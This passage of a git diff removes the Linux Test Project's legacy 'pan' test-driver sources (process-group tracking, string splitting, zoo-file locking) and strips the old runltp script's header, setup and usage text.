-{ - struct orphan_pgrp *orph; - - for (orph = orphans; orph != NULL; orph = orph->next) { - if (orph->pgrp == 0) - break; - } - if (orph == NULL) { - /* make a new struct */ - orph = malloc(sizeof(struct orphan_pgrp)); - - /* plug in the new struct just after the head */ - orph->next = orphans->next; - orphans->next = orph; - } - orph->pgrp = cpid; -} - -static void copy_buffered_output(struct tag_pgrp *running) -{ - char *tag_output; - - tag_output = slurp(running->output); - if (tag_output) { - printf("%s", tag_output); - /* make sure the output ends with a newline */ - if (tag_output[strlen(tag_output) - 1] != '\n') - printf("\n"); - fflush(stdout); - free(tag_output); - } -} - -static void write_kmsg(const char *fmt, ...) -{ - FILE *kmsg; - va_list ap; - - if ((kmsg = fopen("/dev/kmsg", "r+")) == NULL) { - fprintf(stderr, "Error %s: (%d) opening /dev/kmsg\n", - strerror(errno), errno); - exit(1); - } - - va_start(ap, fmt); - vfprintf(kmsg, fmt, ap); - va_end(ap); - fclose(kmsg); -} - -static void write_test_start(struct tag_pgrp *running, int no_kmsg) -{ - if (!strcmp(reporttype, "rts")) { - - printf - ("%s\ntag=%s stime=%lld\ncmdline=\"%s\"\ncontacts=\"%s\"\nanalysis=%s\n%s\n", - "<<>>", running->cmd->name, (long long)running->mystime, - running->cmd->cmdline, "", "exit", "<<>>"); - } - fflush(stdout); - if (no_kmsg) - return; - - if (strcmp(running->cmd->name, running->cmd->cmdline)) - write_kmsg("LTP: starting %s (%s)\n", running->cmd->name, - running->cmd->cmdline); - else - write_kmsg("LTP: starting %s\n", running->cmd->name); -} - -static void -write_test_end(struct tag_pgrp *running, const char *init_status, - time_t exit_time, char *term_type, int stat_loc, - int term_id, struct tms *tms1, struct tms *tms2) -{ - if (!strcmp(reporttype, "rts")) { - printf - ("%s\ninitiation_status=\"%s\"\nduration=%ld termination_type=%s " - "termination_id=%d corefile=%s\ncutime=%d cstime=%d\n%s\n", - "<<>>", init_status, - (long)(exit_time - running->mystime), term_type, term_id, - (stat_loc & 0200) ? "yes" : "no", - (int)(tms2->tms_cutime - tms1->tms_cutime), - (int)(tms2->tms_cstime - tms1->tms_cstime), - "<<>>"); - } - fflush(stdout); -} - -/* The functions below are all debugging related */ - -static void pids_running(struct tag_pgrp *running, int keep_active) -{ - int i; - - fprintf(stderr, "pids still running: "); - for (i = 0; i < keep_active; ++i) { - if (running[i].pgrp != 0) - fprintf(stderr, "%d ", running[i].pgrp); - } - fprintf(stderr, "\n"); -} - -static void orphans_running(struct orphan_pgrp *orphans) -{ - struct orphan_pgrp *orph; - - fprintf(stderr, "orphans still running: "); - for (orph = orphans; orph != NULL; orph = orph->next) { - if (orph->pgrp != 0) - fprintf(stderr, "%d ", -(orph->pgrp)); - } - fprintf(stderr, "\n"); -} - -static void dump_coll(struct collection *coll) -{ - int i; - - for (i = 0; i < coll->cnt; ++i) { - fprintf(stderr, "coll %d\n", i); - fprintf(stderr, " name=%s cmdline=%s\n", coll->ary[i]->name, - coll->ary[i]->cmdline); - } -} - -void wait_handler(int sig) -{ - static int lastsent = 0; - - if (sig == 0) { - lastsent = 0; - } else { - rec_signal = sig; - if (sig == SIGUSR2) - return; - if (lastsent == 0) - send_signal = sig; - else if (lastsent == SIGUSR1) - send_signal = SIGINT; - else if (lastsent == sig) - send_signal = SIGTERM; - else if (lastsent == SIGTERM) - send_signal = SIGHUP; - else if (lastsent == SIGHUP) - send_signal = SIGKILL; - lastsent = send_signal; - } -} diff --git a/ltp/pan/splitstr.c b/ltp/pan/splitstr.c deleted file mode 100644 index 39b46985..00000000 --- a/ltp/pan/splitstr.c +++ /dev/null @@ -1,192 +0,0 @@ -/* - * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ - * - */ -/* $Id: splitstr.c,v 1.2 2000/09/21 20:42:31 nstraz Exp $ */ -/* - * Synopsis - * - * const char **splitstr(const char *str, const char *separator, int *argcount) - * - * Description - * This function splits a string (str) into components that are separated by - * one or more of the characters in the (separator) string. An array of - * strings is returned, along with argcount being set to the number of strings - * found. Argcount can be NULL. There will always be a NULL element in the - * array after the last valid element. If an error occurs, NULL will be - * returned and argcount will be set to zero. - * - * To rid yourself of the memory allocated for splitstr(), pass the return - * value from splitstr() unmodified to splitstr_free(): - * - * void splitstr_free( const char ** return_from_splitstr ); - * - */ -#include -#include -#include /* for string functions */ -#ifdef UNIT_TEST -#include -#endif /* UNIT_TEST */ -#include "splitstr.h" - -const char **splitstr(const char *str, const char *separator, int *argcount) -{ - char *arg_string = NULL, **arg_array = NULL, *cur_tok = NULL; - - int num_toks = 0, max_toks = 20, i; - - /* - * In most recoverable errors, if argcount is not NULL, - * set argcount to 0. Then return NULL. - */ - if (str == NULL) { - if (argcount != NULL) - *argcount = 0; - return (NULL); - } - - /* - * set aside temporary space to work on the string. - */ - arg_string = strdup(str); - - if (arg_string == NULL) { - if (argcount != NULL) - *argcount = 0; - return (NULL); - } - - /* - * set aside an initial char ** array for string array. - */ - arg_array = malloc(sizeof(char *) * max_toks); - - if (arg_array == NULL) { - if (argcount != NULL) - *argcount = 0; - free(arg_string); - return (NULL); - } - - if (separator == NULL) - separator = " \t"; - - /* - * Use strtok() to parse 'arg_string', placing pointers to the - * individual tokens into the elements of 'arg_array'. Expand - * 'arg_array' if necessary. - */ - cur_tok = strtok(arg_string, separator); - while (cur_tok != NULL) { - arg_array[num_toks++] = cur_tok; - cur_tok = strtok(NULL, separator); - if (num_toks == max_toks) { - max_toks += 20; - arg_array = - (char **)realloc((void *)arg_array, - sizeof(char *) * max_toks); - if (arg_array == NULL) { - fprintf(stderr, "realloc: New memory allocation failed \n"); - free(arg_string); - exit(1); - } - } - } - arg_array[num_toks] = NULL; - - /* - * If there are any spaces left in our array, make them NULL - */ - for (i = num_toks + 1; i < max_toks; i++) - arg_array[i] = NULL; - - /* This seems nice, but since memory is allocated on a page basis, this - * isn't really helpful: - * arg_array = (char **)realloc((void *)arg_array, sizeof(char *)*num_toks+1 );*/ - - if (argcount != NULL) - *argcount = num_toks; - - /* - * Return the argument array. - */ - return ((const char **)arg_array); -} - -/* - * splitster_free( const char ** ) - * - * This takes the return value from splitster() and free()s memory - * allocated by splitster. Assuming: ret=splitster(...), this - * requires that ret and *ret returned from splitster() have not - * been modified. - */ -void splitstr_free(const char **p_return) -{ - if (*p_return != NULL) - free((char *)*p_return); - if (p_return != NULL) - free((char **)p_return); -} - -#ifdef UNIT_TEST - -int main() -{ - int i, y, test_size = 1000, size_ret; - char test_str[32768]; - char buf[16]; - char *test_str_array[test_size]; - const char **ret; - - for (i = 0; i < test_size; i++) { - snprintf(buf, 16, "arg%d", i); - test_str_array[i] = strdup(buf); - } - - for (i = 0; i < test_size; i++) { - test_str[0] = '\0'; - for (y = 0; y < i; y++) { - snprintf(buf, 16, "arg%d ", y); - strncat(test_str, buf, 16); - } - ret = splitstr(test_str, NULL, &size_ret); - assert(size_ret == i); - for (y = 0; y < i; y++) - assert(strcmp(ret[y], test_str_array[y]) == 0); - - splitstr_free(ret); - } - return 0; -} - -#endif diff --git a/ltp/pan/splitstr.h b/ltp/pan/splitstr.h deleted file mode 100644 index 2ffa24f4..00000000 --- a/ltp/pan/splitstr.h +++ /dev/null @@ -1,36 +0,0 @@ -#ifndef _SPLITSTR_H_ -#define _SPLITSTR_H_ -/* - * Synopsis - * - * const char **splitstr(const char *str, const char *separator, int *argcount) - * - * Description - * This function splits a string (str) into components that are separated by - * one or more of the characters in the (separator) string. An array of - * strings is returned, along with argcount being set to the number of strings - * found. Argcount can be NULL. There will always be a NULL element in the - * array after the last valid element. If an error occurs, NULL will be - * returned and argcount will be set to zero. - * - * To rid yourself of the memory allocated for splitstr(), pass the return - * value from splitstr() unmodified to splitstr_free(): - * - * void splitstr_free( const char ** return_from_splitstr ); - * - */ -const char ** -splitstr(const char *, const char *, int *); - -/* - * splitster_free( const char ** ) - * - * This takes the return value from splitster() and free()s memory - * allocated by splitster. Assuming: ret=splitster(...), this - * requires that ret and *ret returned from splitster() have not - * been modified. - */ -void -splitstr_free( const char ** ); - -#endif diff --git a/ltp/pan/tag_report.h b/ltp/pan/tag_report.h deleted file mode 100644 index df838e8c..00000000 --- a/ltp/pan/tag_report.h +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ - * - */ -/* $Id: tag_report.h,v 1.1 2000/09/21 21:35:06 alaffin Exp $ */ -#ifndef _TAG_REPORT_H_ -#define _TAG_REPORT_H_ - -#include -#include -#include -#include /* strftime */ -#include /* getopt */ -#include "symbol.h" -#include "splitstr.h" - -int test_result( char *, char *, char *, char *, SYM ); -int cuts_report( SYM, SYM, char *, char * ); -int tag_report( SYM, SYM, SYM ); -int print_header( SYM ); -int cuts_testcase( SYM, SYM ); - -#endif diff --git a/ltp/pan/zoolib.c b/ltp/pan/zoolib.c deleted file mode 100644 index 0ac78526..00000000 --- a/ltp/pan/zoolib.c +++ /dev/null @@ -1,447 +0,0 @@ -/* - * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ - * - */ -/* $Id: zoolib.c,v 1.8 2009/06/09 17:59:46 subrata_modak Exp $ */ -/* - * ZooLib - * - * A Zoo is a file used to record what test tags are running at the moment. - * If the system crashes, we should be able to look at the zoo file to find out - * what was currently running. This is especially helpful when running multiple - * tests at the same time. - * - * The zoo file is meant to be a text file that fits on a standard console. - * You should be able to watch it with `cat zoofile` - * - * zoo file format: - * 80 characters per line, ending with a \n - * available lines start with '#' - * expected line fromat: pid_t,tag,cmdline - * - */ - -#include -#include /* for getenv */ -#include -#include "zoolib.h" - -char zoo_error[ZELEN]; - -#ifdef __linux__ -/* glibc2.2 definition needs -D_XOPEN_SOURCE, which breaks other things. */ -extern int sighold(int __sig); -extern int sigrelse(int __sig); -#endif - -/* zoo_mark(): private function to make an entry to the zoo - * returns 0 on success, -1 on error */ -static int zoo_mark(zoo_t z, char *entry); -static int zoo_lock(zoo_t z); -static int zoo_unlock(zoo_t z); -/* cat_args(): helper function to make cmdline from argc, argv */ -char *cat_args(int argc, char **argv); - -/* zoo_getname(): create a filename to use for the zoo */ -char *zoo_getname(void) -{ - char buf[1024]; - char *zoo; - - zoo = getenv("ZOO"); - if (zoo) { - snprintf(buf, 1024, "%s/%s", zoo, "active"); - return strdup(buf); - } else { - /* if there is no environment variable, we don't know where to put it */ - return NULL; - } -} - -/* zoo_open(): open a zoo for use */ -zoo_t zoo_open(char *zooname) -{ - zoo_t new_zoo; - - new_zoo = (zoo_t) fopen(zooname, "r+"); - if (!new_zoo) { - if (errno == ENOENT) { - /* file doesn't exist, try fopen(xxx, "a+") */ - new_zoo = (zoo_t) fopen(zooname, "a+"); - if (!new_zoo) { - /* total failure */ - snprintf(zoo_error, ZELEN, - "Could not open zoo as \"%s\", errno:%d %s", - zooname, errno, strerror(errno)); - return 0; - } - fclose(new_zoo); - new_zoo = fopen(zooname, "r+"); - } else { - snprintf(zoo_error, ZELEN, - "Could not open zoo as \"%s\", errno:%d %s", - zooname, errno, strerror(errno)); - } - } - return new_zoo; -} - -int zoo_close(zoo_t z) -{ - int ret; - - ret = fclose(z); - if (ret) { - snprintf(zoo_error, ZELEN, - "closing zoo caused error, errno:%d %s", - errno, strerror(errno)); - } - return ret; -} - -static int zoo_mark(zoo_t z, char *entry) -{ - FILE *fp = (FILE *) z; - int found = 0; - long pos; - char buf[BUFLEN]; - - if (fp == NULL) - return -1; - - if (zoo_lock(z)) - return -1; - - /* first fit */ - rewind(fp); - - do { - pos = ftell(fp); - - if (fgets(buf, BUFLEN, fp) == NULL) - break; - - if (buf[0] == '#') { - rewind(fp); - if (fseek(fp, pos, SEEK_SET)) { - /* error */ - snprintf(zoo_error, ZELEN, - "seek error while writing to zoo file, errno:%d %s", - errno, strerror(errno)); - return -1; - } - /* write the entry, left justified, and padded/truncated to the - * same size as the previous entry */ - fprintf(fp, "%-*.*s\n", (int)strlen(buf) - 1, - (int)strlen(buf) - 1, entry); - found = 1; - break; - } - } while (1); - - if (!found) { - if (fseek(fp, 0, SEEK_END)) { - snprintf(zoo_error, ZELEN, - "error seeking to end of zoo file, errno:%d %s", - errno, strerror(errno)); - return -1; - } - fprintf(fp, "%-*.*s\n", 79, 79, entry); - } - fflush(fp); - - if (zoo_unlock(z)) - return -1; - return 0; -} - -int zoo_mark_cmdline(zoo_t z, pid_t p, char *tag, char *cmdline) -{ - char new_entry[BUFLEN]; - - snprintf(new_entry, 80, "%d,%s,%s", p, tag, cmdline); - return zoo_mark(z, new_entry); -} - -int zoo_mark_args(zoo_t z, pid_t p, char *tag, int ac, char **av) -{ - char *cmdline; - int ret; - - cmdline = cat_args(ac, av); - ret = zoo_mark_cmdline(z, p, tag, cmdline); - - free(cmdline); - return ret; -} - -int zoo_clear(zoo_t z, pid_t p) -{ - FILE *fp = (FILE *) z; - long pos; - char buf[BUFLEN]; - pid_t that_pid; - int found = 0; - - if (fp == NULL) - return -1; - - if (zoo_lock(z)) - return -1; - rewind(fp); - - do { - pos = ftell(fp); - - if (fgets(buf, BUFLEN, fp) == NULL) - break; - - if (buf[0] == '#') - continue; - - that_pid = atoi(buf); - if (that_pid == p) { - if (fseek(fp, pos, SEEK_SET)) { - /* error */ - snprintf(zoo_error, ZELEN, - "seek error while writing to zoo file, errno:%d %s", - errno, strerror(errno)); - return -1; - } - if (ftell(fp) != pos) { - printf("fseek failed\n"); - } - fputs("#", fp); - found = 1; - break; - } - } while (1); - - fflush(fp); - - /* FIXME: unlock zoo file */ - if (zoo_unlock(z)) - return -1; - - if (!found) { - snprintf(zoo_error, ZELEN, - "zoo_clear() did not find pid(%d)", p); - return 1; - } - return 0; - -} - -pid_t zoo_getpid(zoo_t z, char *tag) -{ - FILE *fp = (FILE *) z; - char buf[BUFLEN], *s; - pid_t this_pid = -1; - - if (fp == NULL) - return -1; - - if (zoo_lock(z)) - return -1; - - rewind(fp); - do { - if (fgets(buf, BUFLEN, fp) == NULL) - break; - - if (buf[0] == '#') - continue; /* recycled line */ - - if ((s = strchr(buf, ',')) == NULL) - continue; /* line was not expected format */ - - if (strncmp(s + 1, tag, strlen(tag))) - continue; /* tag does not match */ - - this_pid = atoi(buf); - break; - } while (1); - - if (zoo_unlock(z)) - return -1; - return this_pid; -} - -int zoo_lock(zoo_t z) -{ - FILE *fp = (FILE *) z; - struct flock zlock; - sigset_t block_these; - int ret; - - if (fp == NULL) - return -1; - - zlock.l_whence = zlock.l_start = zlock.l_len = 0; - zlock.l_type = F_WRLCK; - - sigemptyset(&block_these); - sigaddset(&block_these, SIGINT); - sigaddset(&block_these, SIGTERM); - sigaddset(&block_these, SIGHUP); - sigaddset(&block_these, SIGUSR1); - sigaddset(&block_these, SIGUSR2); - sigprocmask(SIG_BLOCK, &block_these, NULL); - - do { - ret = fcntl(fileno(fp), F_SETLKW, &zlock); - } while (ret == -1 && errno == EINTR); - - sigprocmask(SIG_UNBLOCK, &block_these, NULL); - if (ret == -1) { - snprintf(zoo_error, ZELEN, - "failed to unlock zoo file, errno:%d %s", - errno, strerror(errno)); - return -1; - } - return 0; - -} - -int zoo_unlock(zoo_t z) -{ - FILE *fp = (FILE *) z; - struct flock zlock; - sigset_t block_these; - int ret; - - if (fp == NULL) - return -1; - - zlock.l_whence = zlock.l_start = zlock.l_len = 0; - zlock.l_type = F_UNLCK; - - sigemptyset(&block_these); - sigaddset(&block_these, SIGINT); - sigaddset(&block_these, SIGTERM); - sigaddset(&block_these, SIGHUP); - sigaddset(&block_these, SIGUSR1); - sigaddset(&block_these, SIGUSR2); - sigprocmask(SIG_BLOCK, &block_these, NULL); - - do { - ret = fcntl(fileno(fp), F_SETLKW, &zlock); - } while (ret == -1 && errno == EINTR); - - sigprocmask(SIG_UNBLOCK, &block_these, NULL); - - if (ret == -1) { - snprintf(zoo_error, ZELEN, - "failed to lock zoo file, errno:%d %s", - errno, strerror(errno)); - return -1; - } - return 0; -} - -char *cat_args(int argc, char **argv) -{ - int a, size; - char *cmd; - - for (size = a = 0; a < argc; a++) { - size += strlen(argv[a]); - size++; - } - - if ((cmd = malloc(size)) == NULL) { - snprintf(zoo_error, ZELEN, - "Malloc Error, %s/%d", __FILE__, __LINE__); - return NULL; - } - - *cmd = '\0'; - for (a = 0; a < argc; a++) { - if (a != 0) - strcat(cmd, " "); - strcat(cmd, argv[a]); - } - - return cmd; -} - -#if defined(UNIT_TEST) - -void zt_add(zoo_t z, int n) -{ - char cmdline[200]; - char tag[10]; - - snprintf(tag, 10, "%s%d", "test", n); - snprintf(cmdline, 200, "%s%d %s %s %s", "runtest", n, "one", "two", - "three"); - - zoo_mark_cmdline(z, n, tag, cmdline); -} - -int main(int argc, char *argv[]) -{ - - char *zooname; - zoo_t test_zoo; - char *test_tag = "unittest"; - int i, j; - - zooname = zoo_getname(); - - if (!zooname) { - zooname = strdup("test_zoo"); - } - printf("Test zoo filename is %s\n", zooname); - - if ((test_zoo = zoo_open(zooname)) == NULL) { - printf("Error opennning zoo\n"); - exit(-1); - } - - zoo_mark_args(test_zoo, getpid(), test_tag, argc, argv); - - for (j = 0; j < 5; j++) { - for (i = 0; i < 20; i++) { - zt_add(test_zoo, i); - } - - for (; i >= 0; i--) { - zoo_clear(test_zoo, i); - } - } - - zoo_clear(test_zoo, getpid()); - - return 0; -} - -#endif diff --git a/ltp/pan/zoolib.h b/ltp/pan/zoolib.h deleted file mode 100644 index 6fb01fa4..00000000 --- a/ltp/pan/zoolib.h +++ /dev/null @@ -1,83 +0,0 @@ -/* - * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ - * - */ -/* $Id: zoolib.h,v 1.5 2006/06/27 09:37:34 vapier Exp $ */ -#ifndef ZOOLIB_H -#define ZOOLIB_H - -#include -#include -#include -#include -#include -#include - -typedef FILE *zoo_t; -#define ZELEN 512 -extern char zoo_error[ZELEN]; -#define BUFLEN 81 - -int lock_file( FILE *fp, short ltype, char **errmsg ); -/* FILE *open_file( char *file, char *mode, char **errmsg ); */ - -void wait_handler(); - -/* char *zoo_active( void ); */ -/* zoo_getname(): create a filename to use for the zoo - * returns NULL on error */ -char *zoo_getname(void); - -/* zoo_open(): open a zoo file for use - * returns NULL on error */ -zoo_t zoo_open(char *zooname); - -/* zoo_close(): close an open zoo file */ -int zoo_close(zoo_t z); - -/* zoo_mark_cmdline(): make an entry to the zoo - * returns 0 on success, -1 on error */ -int zoo_mark_cmdline(zoo_t z, pid_t p, char *tag, char *cmdline); - -/* zoo_mark_args(): make an entry to the zoo using argc argv - * returns 0 on success, -1 on error */ -int zoo_mark_args(zoo_t z, pid_t p, char *tag, int ac, char **av); - -/* zoo_clear(): mark a pid as completed - * returns 0 on success, -1 on error, 1 as warning */ -int zoo_clear(zoo_t z, pid_t p); - -/* zoo_getpid(): get the pid for a specified tag - * returns pid_t on success and 0 on error */ -pid_t zoo_getpid(zoo_t z, char *tag); - - -#endif /* ZOOLIB_H */ diff --git a/ltp/runltp b/ltp/runltp index 0d906256..62b9367f 100755 --- a/ltp/runltp +++ b/ltp/runltp @@ -1,959 +1,11 @@ #!/bin/sh -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2001 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -################################################################################ -# File: runltp -# -# Description: This script can be used to the tests in the LTP test suite -# -# Authors: Manoj Iyer - manjo@mail.utexas.edu -# Robbe Williamson - robbiew@us.ibm.com -# -# History: Oct 07 2003 - Modified - Manoj Iyer -# - use functions -# - clean up on script exit -# - error checking etc. -# -# Oct 08 2003 - Modified - Manoj Iyer -# - fixed bug in creating results directory -# - all checks should be enlclosed in " " to avoid bash error -# - exit with error if ltp-pan is not found in pan directory -# -# Jul 22 2007 - Modified - Ricardo Salveti de Araujo -# - added support to put more then one file at CMDLINE (-f) -# - added a new option, that the user can pass the address of -# the command file, and it'll use wget to get it (-w) -# - now -s does the grep at the selected command files (default, -# -f or -w) -# -# Jul 23 2007 - Modified - Ricardo Salveti de Araujo -# - added flag to get the command file that has all failed tests -# -# Sep 11 2007 - Modified - Subrata Modak -# - added option to create Failed File if it is not an absolute path -# - added option to create Output File if it is not an absolute path -# - added option to create Failed File compulsory, even if user has not mentioned it -# -# Sep 14 2007 - Modified - Ricardo Salveti de Araujo -# - cleaning and removing duplicated code -# -# Oct 27 2007 - Modified - Ricardo Salveti de Araujo and Subrata Modak -# - better ways to integrate "ltp/tools/genload/stress" with "ltp/runltp" -# Nov 24 2007 - Modified - Subrata Modak -# - Added a new option to generate output in HTML format also. Also retaining -# the original test format -# Nov 28 2007 - Modified - Subrata Modak -# - Added a new option to mail back LTP reports -# May 19 2008 - Modified - Subrata Modak -# - Added capability for default Log file generation -# Aug 17 2009 - Modified - Subrata Modak -# - Added Fault Injection generation Capability through -F Option -# -################################################################################# - - -deprecated() -{ - echo "-------------------------------------------" >&2 - echo "INFO: runltp script is deprecated, try kirk" >&2 - echo "https://github.com/linux-test-project/kirk" >&2 - echo "-------------------------------------------" >&2 -} - - -setup() -{ - deprecated - - cd `dirname $0` || \ - { - echo "FATAL: unable to change directory to $(dirname $0)" - exit 1 - } - export LTPROOT=${PWD} - export TMPBASE="/tmp" - export PATH="${PATH}:${LTPROOT}/testcases/bin:${LTPROOT}/bin" - - export LTP_DEV_FS_TYPE="ext2" - - [ -d "$LTPROOT/testcases/bin" ] || - { - echo "FATAL: LTP not installed correctly" - echo "INFO: Follow directions in INSTALL!" - exit 1 - } - - [ -e "$LTPROOT/bin/ltp-pan" ] || - { - echo "FATAL: Test suite driver 'ltp-pan' not found" - echo "INFO: Follow directions in INSTALL!" - exit 1 - } -} - -version_of_ltp() -{ - cat "$LTPROOT/Version" - exit 0 -} - -usage() -{ - cat <<-EOF >&2 - - usage: ${0##*/} [ -a EMAIL_TO ] [ -c NUM_PROCS ] [ -C FAILCMDFILE ] [ -T TCONFCMDFILE ] - [ -d TMPDIR ] [ -D NUM_PROCS,NUM_FILES,NUM_BYTES,CLEAN_FLAG ] -e [ -f CMDFILES(,...) ] - [ -g HTMLFILE] [ -i NUM_PROCS ] [ -l LOGFILE ] [ -m NUM_PROCS,CHUNKS,BYTES,HANGUP_FLAG ] - -N -n [ -o OUTPUTFILE ] -p -q -Q [ -r LTPROOT ] [ -s PATTERN ] [ -t DURATION ] - -v [ -w CMDFILEADDR ] [ -x INSTANCES ] [ -b DEVICE ] [-B LTP_DEV_FS_TYPE] - [ -F LOOPS,PERCENTAGE ] [ -z BIG_DEVICE ] [-Z LTP_BIG_DEV_FS_TYPE] - - -a EMAIL_TO EMAIL all your Reports to this E-mail Address - -c NUM_PROCS Run LTP under additional background CPU load - [NUM_PROCS = no. of processes creating the CPU Load by spinning over sqrt() - (Defaults to 1 when value)] - -C FAILCMDFILE Command file with all failed test cases. - -T TCONFCMDFILE Command file with all test cases that are not fully tested. - -d TMPDIR Directory where temporary files will be created. - -D NUM_PROCS,NUM_FILES,NUM_BYTES,CLEAN_FLAG - Run LTP under additional background Load on Secondary Storage (separated by comma) - [NUM_PROCS = no. of processes creating Storage Load by spinning over write()] - [NUM_FILES = Write() to these many files (Defaults to 1 when value 0 or undefined)] - [NUM_BYTES = write these many bytes (defaults to 1GB, when value 0 or undefined)] - [CLEAN_FLAG = unlink file to which random data written, when value 1] - -e Prints the date of the current LTP release - -f CMDFILES Execute user defined list of testcases (separate with ',') - -F LOOPS,PERCENTAGE Induce PERCENTAGE Fault in the Kernel Subsystems, and, run each test for LOOPS loop - -g HTMLFILE Create an additional HTML output format - -h Help. Prints all available options. - -i NUM_PROCS Run LTP under additional background Load on IO Bus - [NUM_PROCS = no. of processes creating IO Bus Load by spinning over sync()] - -K DMESG_LOG_DIR - Log Kernel messages generated for each test cases inside this directory - -l LOGFILE Log results of test in a logfile. - -m NUM_PROCS,CHUNKS,BYTES,HANGUP_FLAG - Run LTP under additional background Load on Main memory (separated by comma) - [NUM_PROCS = no. of processes creating main Memory Load by spinning over malloc()] - [CHUNKS = malloc these many chunks (default is 1 when value 0 or undefined)] - [BYTES = malloc CHUNKS of BYTES bytes (default is 256MB when value 0 or undefined) ] - [HANGUP_FLAG = hang in a sleep loop after memory allocated, when value 1] - -M CHECK_TYPE - [CHECK_TYPE=1 => Full Memory Leak Check tracing children as well] - [CHECK_TYPE=2 => Thread Concurrency Check tracing children as well] - [CHECK_TYPE=3 => Full Memory Leak & Thread Concurrency Check tracing children as well] - -N Run all the networking tests. - -o OUTPUTFILE Redirect test output to a file. - -p Human readable format logfiles. - -q Print less verbose output to screen. This implies - not logging start of the test in kernel log. - -Q Don't log start of test in kernel log. - -r LTPROOT Fully qualified path where testsuite is installed. - -R Randomize test order. - -s PATTERN Only run test cases which match PATTERN. - -S SKIPFILE Skip tests specified in SKIPFILE - -t DURATION Execute the testsuite for given duration. Examples: - -t 60s = 60 seconds - -t 45m = 45 minutes - -t 24h = 24 hours - -t 2d = 2 days - -I ITERATIONS Execute the testsuite ITERATIONS times. - -w CMDFILEADDR Uses wget to get the user's list of testcases. - -x INSTANCES Run multiple instances of this testsuite. - -b DEVICE Some tests require an unmounted block device - to run correctly. - -B LTP_DEV_FS_TYPE The file system of test block devices. - -z BIG_DEVICE Some tests require a big unmounted block device - to run correctly. - -Z LTP_BIG_DEV_FS_TYPE The file system of the big device - -W ZOOFILE Specify the zoo file used to record current test tags (default PID of this script) - - - - example: ${0##*/} -c 2 -i 2 -m 2,4,10240,1 -D 2,10,10240,1 -p -q -l /tmp/result-log.$$ -o /tmp/result-output.$$ -C /tmp/result-failed.$$ -d ${PWD} - - - EOF -exit 0 -} - -main() -{ - local 